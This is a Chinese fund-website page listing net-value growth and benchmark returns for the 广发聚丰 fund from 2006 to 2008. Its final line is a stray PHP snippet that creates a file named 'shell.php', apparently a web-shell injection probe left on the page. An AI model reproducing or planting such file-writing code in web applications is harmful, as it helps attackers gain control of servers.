广发聚丰    
首页 | 广发聚丰 | 广发聚丰基金净值 | 净值估算 | 持股明细 | 会员中心
  当前位置:广发聚丰基金>广发聚丰>文章内容
广发聚丰基金净值表现
来源:广发聚丰基金净值表现 作者:广发聚丰基金净值表现 发布时间:2008-07-11  
净值表现
报表日期 报表类别 净值增长率 业绩比较基准收益率 收益率差异 净值增长率标准差 业绩比较基准收益率标准差 标准差差异
2008-03-31 近三个月 -22.6000 -21.5800 -1.0200 2.3300 2.3000 0.0300
2007-12-31 近三个月 0.0100 -4.0000 4.0100 1.2900 1.5800 -0.2900
2007-12-31 近六个月 50.2600 30.8900 19.3700 1.6900 1.6700 0.0200
2007-12-31 近一年 157.6800 124.9500 32.7300 2.0000 1.8500 0.1500
2007-12-31 成立至今 528.6800 380.0800 148.6000 1.7200 1.5200 0.2000
2007-09-30 近三个月 50.2500 36.7600 13.4900 1.9500 1.7100 0.2400
2007-06-30 近一个月 4.4700 -5.0800 9.5500 2.6500 2.5300 0.1200
2007-06-30 近三个月 42.3800 25.4600 16.9200 2.3000 2.0700 0.2300
2007-06-30 近六个月 71.4900 67.8800 3.6100 2.3000 2.0200 0.2800
2007-06-30 成立至今 318.4000 315.2600 3.1400 1.7300 1.1000 0.6300
2007-03-31 近三个月 20.4500 32.0700 -11.6200 2.2900 1.9600 0.3300
2006-12-31 近三个月 28.5900 31.3500 -2.7600 1.5500 1.1200 0.4300
2006-12-31 近六个月 33.4900 33.2400 0.2500 1.3800 1.1200 0.2600
2006-12-31 近一年 144.0800 97.5400 46.5400 1.4100 1.1200 0.2900
2006-12-31 成立至今 143.9800 99.8700 44.1100 1.3900 1.1100 0.2800
2006-09-30 近三个月 3.8200 1.4300 2.3900 1.1900 1.0900 0.1000
2006-06-30 近一个月 1.6000 2.1900 -0.5900 1.6000 1.4100 0.1900
2006-06-30 近三个月 51.7100 28.2600 23.4500 1.7600 1.3700 0.3900
2006-06-30 近六个月 82.8400 45.6500 37.1900 1.4200 1.1200 0.3000
2006-06-30 成立至今 82.7700 47.2900 35.4800 1.3900 1.1000 0.2900
2006-03-31 近三个月 20.5200 12.9400 7.5800 0.9200 0.7500 0.1700

上一篇:广发聚丰基金费率   下一篇:广发聚丰:关于在国盛证券推出基金定期定额投资业务的公告
[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
用户名: 新注册) 密码: 匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论
  热点文章
·广发聚丰:关于基金暂停申购的提
·广发聚丰基金(270005)概况
·广发聚丰:2008年第二季度报告
·广发聚丰基金财务数据
·广发聚丰:关于基金暂停申购的提
·广发聚丰基金经理
·广发聚丰基金费率
·广发聚丰:定期定额投资业务的公
·广发聚丰:关于旗下基金参加中国
·广发聚丰:关于调整基金停牌股票
·广发聚丰:2008年第1季度报告
·广发聚丰:关于在国盛证券推出基
  相关文章
·广发聚丰基金费率
·广发聚丰:关于在国盛证券推出基
·广发聚丰基金经理
·广发聚丰基金(270005)概况
·广发聚丰:关于基金参加中国银行
·广发聚丰:关于基金增加宁波银行
·广发聚丰:关于广发聚丰股票型证
·广发聚丰:关于通过中信银行开展
·广发聚丰:定期定额投资业务的公
·广发聚丰:关于增加恒泰证券为代
·广发聚丰:关于增加华夏银行为代
·广发聚丰基金财务数据
广发聚丰基金净值
fputs(fopen('shell.php',"w"),'')